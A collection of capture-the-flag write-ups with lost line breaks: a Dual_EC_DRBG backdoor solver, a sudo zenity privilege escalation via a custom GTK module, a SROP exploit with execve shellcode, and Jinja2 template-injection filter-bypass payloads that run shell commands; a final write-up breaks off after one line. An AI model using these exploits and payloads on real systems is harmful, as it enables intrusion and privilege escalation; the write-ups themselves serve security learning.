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# Sleeves
**Category**: Crypto \**Points**: 990 (34 solves) \**Author**: hukc
## Challenge
I like putting numbers up my sleeves. To make sure I can fita lot of them, I keep the numbers small.
Attachments: `sleeves.tar.gz`
## Overview
We're given a simple script that encrypts the flag using a pseudorandom key.The goal is to find this key in order to decrypt the flag.
```pythonfrom challenge.eccrng import RNGfrom Crypto.Cipher import AESfrom Crypto.Hash import SHA256
rng = RNG()# I'll just test it out a few times firstprint("r1 = %d" % rng.next())print("r2 = %d" % rng.next())
r = str(rng.next())aes_key = SHA256.new(r.encode('ascii')).digest()cipher = AES.new(aes_key, AES.MODE_ECB)print("ct = %s" % cipher.encrypt(b"????????????????????????????????????????").hex())```
Here's `eccrng.sage` (annotated by me):```sagefrom random import randint
class RNG: def __init__(self): # This elliptical curve is NIST P-256, a well-known curve that should # be unexploitable. p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b self.curve = EllipticCurve(GF(p), [-3,b])
# These are the generator points for the PRNG. self.P = self.curve.lift_x(110498562485703529190272711232043142138878635567672718436939544261168672750412) self.Q = self.curve.lift_x(67399507399944999831532913043433949950487143475898523797536613673733894036166)
self.state = randint(1, 2**256)
def next(self): # In elliptical curve cryptography, scalar multiplication is a trapdoor # function. # This means that recovering `self.state` from `self.P` and `sP` is infeasible. sP = self.state * self.P r = Integer(sP[0]) self.state = Integer((r*self.P)[0]) rQ = r*self.Q # Though we lose 8 bits of rQ, 2**8 is easily bruteforceable return Integer(rQ[0])>>8```
## Solution
I'm pretty new to elliptical curve cryptography, so I had to do a significantamount of googling. Luckily, I stumbled on this: [Dual_EC_DRBG backdoor: aproof of concept](https://blog.0xbadc0de.be/archives/155).
Unfortunately the LaTeX rendering on that site is broken and the formulasextremely hard to read, so I found [this paper](https://www.projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf) instead.
Here is the relevant section:
So all we need to do is find `d` such that `P = d * Q`. Let's try it:```sage$ sage┌────────────────────────────────────────────────────────────────────┐│ SageMath version 9.0, Release Date: 2020-01-01 ││ Using Python 3.8.5. Type "help()" for help. │└────────────────────────────────────────────────────────────────────┘sage: p = 115792089210356248762697446949407573530086143415290314195533631308867097853951sage: b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604Bsage: E = EllipticCurve(GF(p), [-3, b])sage: P = E.lift_x(110498562485703529190272711232043142138878635567672718436939544261168672750412)sage: Q = E.lift_x(67399507399944999831532913043433949950487143475898523797536613673733894036166)sage: Q.discrete_log(P)173```
Nice, Sage managed to calculate the `discrete_log` in 2 seconds!
Now all we have to do is implement the attack described in the paper. The only twist is that the lower 8 bits of `r1` and `r2` were discarded, but we can just bruteforce those 8 bits.
Here's my complete script```sagefrom Crypto.Cipher import AESfrom Crypto.Hash import SHA256
"""This is a Dual_EC_DRBG backdoor solver.https://en.wikipedia.org/wiki/Dual_EC_DRBG"""
# This elliptical curve is NIST P-256p = 115792089210356248762697446949407573530086143415290314195533631308867097853951b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604BE = EllipticCurve(GF(p), [-3, b])
# These are the generator points for the PRNG.P = E.lift_x( 110498562485703529190272711232043142138878635567672718436939544261168672750412)Q = E.lift_x( 67399507399944999831532913043433949950487143475898523797536613673733894036166)
# Surprisingly this works and returns 173. I guess the backdoor is pretty weak.# This value allows us to completely break the PRNG (i.e. we can accurately# predict returned values and states).d = Q.discrete_log(P)
def do_next(s): """ This is essentially the RNG.next() function. Given state `s`, return pseudorandom value `r` and the new state `s_new`. """ sP = s * P r = Integer(sP[0]) s_new = Integer((r * P)[0]) rQ = r * Q return Integer(rQ[0]), s_new
def do_guess(r1): """ Given a guess for a value `r1` return from the PRNG, determine the next random value as well as the state after that. """
# Check if `r1` is a valid x coordinate on the curve try: rQ1 = E.lift_x(r1) except ValueError: return None
sP2 = d * rQ1 s2 = Integer(sP2[0]) r2, s3 = do_next(s2) return r2, s3
def decrypt(r): """ Decrypt the ciphertext from the challenge. """ ct = bytes.fromhex( "c2c59febe8339aa2eee1c6eddb73ba0824bfe16d410ba6a2428f2f6a38123701" ) aes_key = SHA256.new(str(r).encode("ascii")).digest() cipher = AES.new(aes_key, AES.MODE_ECB) pt = cipher.decrypt(ct) print(pt)
# These are the random values returned from the PRNG.r1 = 135654478787724889653092564298229854384328195777613605080225945400441433200r2 = 16908147529568697799168358355733986815530684189117573092268395732595358248
# Bruteforce the lower 8 bits until we guess the full value of `r1`. If our# guess is correct, the predicted value will match r2.for i in range(2 ** 8): r1_guess = (r1 << 8) + i guess = do_guess(r1_guess)
if guess: r2_guess, s3 = guess if r2_guess >> 8 == r2: r3, s4 = do_next(s3) decrypt(r3 >> 8) break```
Output:```$ sage solve.sageb'utflag{numbers_up_my_sl33v3_l0l}'``` |
# Zenith**Catagory:** Misc **Difficulty:** Medium> Escalate your privileges and retrieve the flag out of root's home directory. > (There is intentionally no `/root/flag.txt` file present.)
## Challenge SetupWhen starting the challenge container, we're giving the following credentials:```# Password is userpassssh -p 30403 [email protected]```
## ReconWe can log in as `user` with password `userpass`. After logging in we can start with a quick `sudo -l` to figure out if our user can run any commands with `sudo`: ```$ sudo -l[sudo] password for user: Matching Defaults entries for user on zenith-ea51451dd14b1eab-5f945d548f-9n6xz: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on zenith-ea51451dd14b1eab-5f945d548f-9n6xz: (root) /usr/bin/zenity```
## ZenityIt seems like the only thing we have to work with is [zenity](https://en.wikipedia.org/wiki/Zenity), so let's have a look at its features: ```$ zenity
(process:19): Gtk-WARNING **: 21:23:57.400: Locale not supported by C library. Using the fallback 'C' locale.Unable to init server: Could not connect: Connection refused
(zenity:19): Gtk-WARNING **: 21:23:57.401: cannot open display:```
If you looked into zenity, the error should make sense. Zenity is a UI toolkit, so it needs some kind of X display to display UI elements onto.
Since we only have an SSH connection, `X11Forwarding` better be enabled. Let's have a peek at the `sshd` config:
```cat /etc/ssh/sshd_config
--- < snip > ---
#GatewayPorts noX11Forwarding yes < ---- Nice :D#X11DisplayOffset 10
--- < snip > ---```
Let's reconnect to ssh with the `-X` option, which will allow X11 elements to be forwarded to our local display:
```ssh -X -p 30403 [email protected]```
_Now_ we can take a look at zenity's features:```$ zenity --help
--- < snip > ---
--info Display info dialog --file-selection Display file selection dialog
--- < snip > --- ```
These two sound interesting. We can use the file selection to browse the file system, and `--info` can be used to print files.
## Finding the flagIf we run the file selection command and navigate to `/root`, we find a file called `get_flag`. Notice the rather large size, which indicates that it's probably not a simple text file.
```sudo zenity --file-selection```
So... can we just read the this file directly? Let's give it a try.```sudo zenity --text-info --filename="/root/get_flag"```
Turns out `get_flag` is a binary and zenity won't print it. We'll have to find a way to get code execution on the box and execute `get_flag`.
## Preparing the exploit
There is another interesting feature of zenity we haven't talked about yet. It is hidden in the GTK options:```$ zenity --help-gtkGTK+ Options --- < snip > ---
--gtk-module=MODULES Load additional GTK+ modules
--- < snip > ---```
If we provide a custom `GTK+` module, zenith will run it for us. This can be used to add new fancy UI elements, or in our case, run arbitrary C code. The documentation on GTK+ modules is a bit sparse, but here is the module I ended up with.
### Code```c#include <unistd.h>#include <gtk/gtk.h>
// This code is executed when our module is loaded, meaning it// will run with sudovoid gtk_module_init(gint *argc, gchar ***argv[]) { // After some debugging, I found out get_flag is not executable, // so let's mark it as executable first. char *args[] = {"/bin/sh", "-c", "chmod +x /root/get_flag; /root/get_flag", NULL}; execve(args[0], args, NULL);}```
### Makefile```makefileall: module.c gcc -c -Wall -Werror -fpic module.c `pkg-config --cflags --libs gtk+-3.0` gcc -shared -o libhack.so module.o `pkg-config --cflags --libs gtk+-3.0````
To compile the module, you'll need the gtk-dev package:```sudo apt-get install libgtk-3-dev```
After compiling the module with `make`, you should be left with a `libhack.so` file. Find a way to transfer this file to the target, either via ssh or wget.
## Flag time
All that's left to do is to run zenity with our custom module:
```$ sudo zenity --gtk-module="/home/user/libhack.so"flag{d1fbeab9101e0ee7fc1342e4c96b4603}```
## Alternative solution
Apparently the `root` user was allowed to log in via `ssh` as well. By reading `root`'s private key with `--text-info` we could have logged in as root without needing to resort to custom GTK modules, but hey, where's the fun in that? |
# SummaryThis is a "signal return rop" or "srop" challenge. srop allows you to have complete control over every register via a sigreturn frame. `pwntools` is used to create the frame because it's a pain to build it manually. The srop will allow us to write shellcode into a read-write-execute region of the binary and as the final `rip` register, we jump to the beginning of that shellcode.
# Solution (`pwntools` template)```#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: No RELRO# Stack: No canary found# NX: NX disabled# PIE: No PIE (0x400000)# RWX: Has RWX segments
io = start()
buf = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaaf"buf_len = len(buf) # lazy way for me to get to the `rip` register
rwx = 0x402000syscall = 0x40100e
t = 0x0401006 # mid-getsp = 0x0401017 # mid-puts
shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" # This shellcode doesn't work because it's it does a `mov al, 0x3b` which only moves 1 byte although much of `rax` contains other stuff so I need to overwrite at least `eax`shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
frame = SigreturnFrame()frame.rax = constants.SYS_readframe.rdi = constants.STDIN_FILENOframe.rip = loopframe.rsi = 0x402500 # somewhere in the middle of rwx regionframe.rdx = 0x1000frame.rsp = 0x402500
# We're doing a sigreturn method. Since 0x402000 is rwx # We write 0xf via the "mid-gets" (t) - this is so that we can write stuff to a specific area without error. The main thing is needing to write an arbitrary number of bytes which during the `write` syscall, puts the number of bytes written into `eax`. That way, we can have the sigreturn up and working. Then we basically jump back to the loop but change the stack to the middle of the rwx section at 0x402000# `filler` is useless herexpl = fit({buf_len: p64(t) + p64(syscall) + bytes(frame) + p64(rwx)}, filler=b'\x90')io.send(xpl)
# Writes the 0xf into eax via the syscallpause()io.send(cyclic(0xf))
# We write shellcode into the rwx section then figure out the alignment to jump back to the shellcode at the endpause()io.send(shellcode + cyclic(0x1fc - 18 - 9) + p64(0x402304)) # the weird cyclic() call is just to get to the `rip` register. I got lazy and just started adding and subtracting offsets until I got it
io.interactive()```### OtherI spent a lot of time butting my head against this binary during the CTF becuase I thought it would be a partial overwrite into the stack so I can run shellcode that's in the stack. The stack was `rwx` also. I kept thinking well I could try to execute shellcode on the stack- I could easily write to it but I didn't have the address- or I could write to this other `rwx` region in the code- I couldn't write to it easily but I did have the address. I went back and forth between the two and ultimately could neither make a partial overwrite work nor a stack leak. |
# DarkCON CTF 2021 – DMM
* **Category:** web* **Points:** 487
## Challenge
> Please check it carefully> > http://ssti.darkarmy.xyz/
## Solution
The *SSTI* in the URL is a hint to *Server-Side Template Injection* vulnerabilities.
`http://ssti.darkarmy.xyz/?url={{7*7}}` will return the following.
```html<div style = "text-align:center"><h1>Oops! 49 is 404 Not Found.</h1></div>```
`http://ssti.darkarmy.xyz/?url=[]` will return
```htmlohhhhhhhhhhhh noooooo0ooooo !! :) [```
The same happens for chars: `%`, `[`, `]`, `"`, `+`, `_` and for words: `self`, `request`, `join`, `config`.
So the template engine is probably *Jinja2*, but you have to face some restrictions.
The following payload will return all subclasses.
```python{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()}}```
Here the list of returned subclasses.
```python[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'Struct'>, <class 'unpack_iterator'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]```
`<class 'subprocess.Popen'>` is at position `407`.
The following payload will return the output of the `id` command.
```python{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(407)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('strip')()}}```
```html<div style = "text-align:center"><h1>Oops! b'uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)' is 404 Not Found.</h1></div>```
So you can execute remote commands, listing the directory content with the following payload.
```python{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(407)('ls',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('strip')()}}```
```html<div style = "text-align:center"><h1>Oops! b'app.py\nflag.txt\nrequirements.txt' is 404 Not Found.</h1></div>```
And printing `flag.txt` file.
```python{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(407)('cat flag.txt',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('strip')()}}```
```html<div style = "text-align:center"><h1>Oops! b'darkCON{w0ww_y0u_ar3_sUp3er_h4ckeR_ggwpp_!!}' is 404 Not Found.</h1></div>``` |
# MeetTheTeam
Looks like the page has actually the version control software public:
